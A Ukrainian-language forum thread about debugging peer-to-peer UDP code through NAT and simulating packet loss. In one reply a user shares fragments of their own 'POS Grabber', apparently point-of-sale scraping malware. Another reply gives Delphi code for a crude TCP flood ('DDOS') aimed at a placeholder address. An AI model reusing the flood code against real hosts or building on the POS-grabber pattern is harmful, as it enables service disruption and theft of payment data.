1

Тема: Відладка мережевого коду(Р2Р)

Хочу реалізувати алгоритм устійчового обміну даними по UDP, тобто через  NAT.От голову ломаю як його відладжувати. Бо потрібна друга точка за NATом Може кто знає де можна знайти халявний віндовий дедик хоча б на півгодини, чи може в кого є альтернативні ідеї ?

2

Re: Відладка мережевого коду(Р2Р)

Нащо вам NAT для "устійчового обміну даними по UDP"?
В будь-якому випадку

м?

https://www.dedoimedo.com/images/computers_new_1/virtualbox-network-nat-new.png

Подякували: 0xDADA11C71

3

Re: Відладка мережевого коду(Р2Р)

0x9111A написав:

Нащо вам NAT для "устійчового обміну даними по UDP"?
В будь-якому випадку

м?

https://www.dedoimedo.com/images/computers_new_1/virtualbox-network-nat-new.png

Ви назву теми читали???!!!Там ясно чорним по білому написанно Р2Р. А віртуалбокс по вашому дасть з імітувати втрати та дублювання датаграм ?

4

Re: Відладка мережевого коду(Р2Р)

Маю потібного вам дедика, зараз надішлю в ПП данні

Подякували: 221VOLT1

5

Re: Відладка мережевого коду(Р2Р)

0xDADA11C7 написав:

Маю потібного вам дедика, зараз надішлю в ПП данні

Дякую.Але мені воно не зараз потрібно,я тему запостив у надії що хтось надасть альтернативну ідею по відладці.Я поки що гоняю між компом та ноутом, на домашньому роутері.Потім потрібно буде затести на реальних НАТах, та з реальними втратами/дублюваннями.

6 Востаннє редагувалося 0xDADA11C7 (09.01.2016 19:23:02)

Re: Відладка мережевого коду(Р2Р)

Якщо вже треба симуляція втрат у мережі, то можете в режимі знежучення викидати випадкові дейтаграми, а тестити на віртуалці.
Оце я тестую свого POS Grabber`а на блокноті, але лише коли увімкнений режим знежучення.

//#define __DEBUG_NOTEPAD__
//#define __DEBUG_SHOW_RECEIVED__

#ifdef __DEBUG_NOTEPAD__
#define __DEBUG_NOTEPAD_CONDITION (lstrcmpi(processEntry.szExeFile, "notepad.exe") == 0)
#else
#define __DEBUG_NOTEPAD_CONDITION 1
#endif
...
                            if (addProcess(processEntry.th32ProcessID, processEntry.szExeFile) && (!isSkippedProcess(processEntry.szExeFile)) && __DEBUG_NOTEPAD_CONDITION) {
                                Sleep(50);
...
Подякували: 0x9111A, 221VOLT, Yola3

7 Востаннє редагувалося raxp (09.01.2016 14:56:52)

Re: Відладка мережевого коду(Р2Р)

на домашньому роутері.Потім потрібно буде затести на реальних НАТах, та з реальними втратами/дублюваннями.

...для iмiтацiї втрат можна DDOS-ити свiй роутер, або качати торренти в десятки потокiв (тобто навантажити роутер по яйки).

Приклад DDOS:

uses winsock;

var s: TSocket;
    WSA:TWSAData;
    addr:TSockAddr;
    Buff:array[0..1024] of Char;
    th1: cardinal;
    h1: integer;

procedure ddos;
begin
Buff:=    '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10+
          '$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$'+#13#10;
 
while true do begin
 send(s,Buff,Length(Buff),0);
 Sleep(1);
end;
end;



procedure TForm1.Button1Click(Sender: TObject);
begin
WSAStartup(MakeWord(2, 0), WSA);
s := Socket(PF_INET, SOCK_STREAM, 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
addr.sin_addr.S_addr := inet_addr(PChar('MYIP'));
connect(s, Addr, SizeOf(Addr))
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  h1 := beginthread(nil, 1024, @ddos, nil, 0, th1)
end;
Подякували: 0xDADA11C7, 221VOLT2